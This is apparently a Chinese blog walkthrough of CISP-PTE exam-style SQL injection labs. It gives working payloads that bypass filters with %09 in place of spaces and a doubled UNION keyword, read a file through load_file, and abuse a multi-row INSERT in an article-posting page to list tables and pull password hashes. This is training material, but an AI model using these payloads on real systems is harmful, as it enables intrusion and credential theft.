SQL注入示例

例一、基础SQL注入:load_file读文件

CISP-PTE 认证考试

首先是有单引号和括号的,首要是要闭合,然后回显点是在-1的位置,读取文件上面的key的话使用的是load_file('/tmp/360/key')

id=-1')%09ununionion%09select%091,2,3,load_file('/tmp/360/key')#

首先闭合,然后%09绕过空格,双写绕过关键字,load_file('/tmp/360/key')下载文件

例二、SQL注入:文章发布系统

http://49.232.193.10:81/start/post.php

进入主页之后,首先尝试万能密码登录,由于无法登陆,接着尝试注册用户,然后发布文章,该页面对文章的内容有一定的过滤

// 代码过滤规则

while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}

while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

然后会在页面的下面回显内容如下,其中第2~4位为文章题目、文章内容、作者

insert article1 value('3506C3EA-7F34-28C6-E467-BD2645DA5E1A','1','1','1234rfv')

并有回显点——“成功” 字样

解题思路

1、让value通过 ')提前闭合(文章内容处),注意必须保证每一条都是四项内容
2、由于文章是使用插入一条数据的值,value(标题,内容,用户名)到数据库,可以同时插入两条内容:(标题,内容,用户名),(标题,内容,用户名)—— 使得第一条闭合,然后在第二条里面插入自己想要的语句

3、最后通过查看文章发表页面获得回显的内容

首先将它变为两条语句:第一条是正常的文章发表语句,第二条是要获得回显的语句
1','1234rfv'),('123456','2','3  

查询数据库名
1','1234rfv'),('1',database(),'select version() 

union联合查询数据库下的表名
1','1234rfv'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3

查询列名
1','1234rfv'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3

查询字段
1','1234rfv'),('1',(select password from users1 limit 0,1),'3

最后依次使用 limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1) 切割查看所有的字段,结果均为:81dc9bdb52d04dc20036dbd8313ed055        (或者使用burp依次遍历)

flag{81dc9bdb52d04dc20036dbd8313ed055}

相关推荐

  1. SQL注入】报错注入--实战示例

    2024-01-24 09:40:01       36 阅读
  2. SQL注入:原理及示例

    2024-01-24 09:40:01       22 阅读
  3. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-01-24 09:40:01      54 阅读
  4. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-01-24 09:40:01      52 阅读
  5. SQL注入

    2024-01-24 09:40:01       39 阅读
  6. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-01-24 09:40:01      39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-01-24 09:40:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-01-24 09:40:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-01-24 09:40:01       82 阅读
  4. Python语言-面向对象

    2024-01-24 09:40:01       91 阅读

热门阅读

  1. SASS简介及使用方法

    2024-01-24 09:40:01       56 阅读
  2. Matlab使用Python

    2024-01-24 09:40:01       54 阅读
  3. Flutter 屏幕适配之相对尺寸适配

    2024-01-24 09:40:01       44 阅读
  4. uniapp 中使用 rem 以及改变窗口动态刷新页面

    2024-01-24 09:40:01       39 阅读
  5. Node.js Shell 脚本开发指南(中)

    2024-01-24 09:40:01       46 阅读
  6. 第六章 使用 SQL Search - 词干提取和分解

    2024-01-24 09:40:01       48 阅读
  7. 2401llvm,合并clang语法树

    2024-01-24 09:40:01       44 阅读
  8. MRD市场需求文档

    2024-01-24 09:40:01       51 阅读
  9. windows 安装sql server 华为云文档

    2024-01-24 09:40:01       53 阅读
  10. React和Vue的生态系统有何不同?

    2024-01-24 09:40:01       56 阅读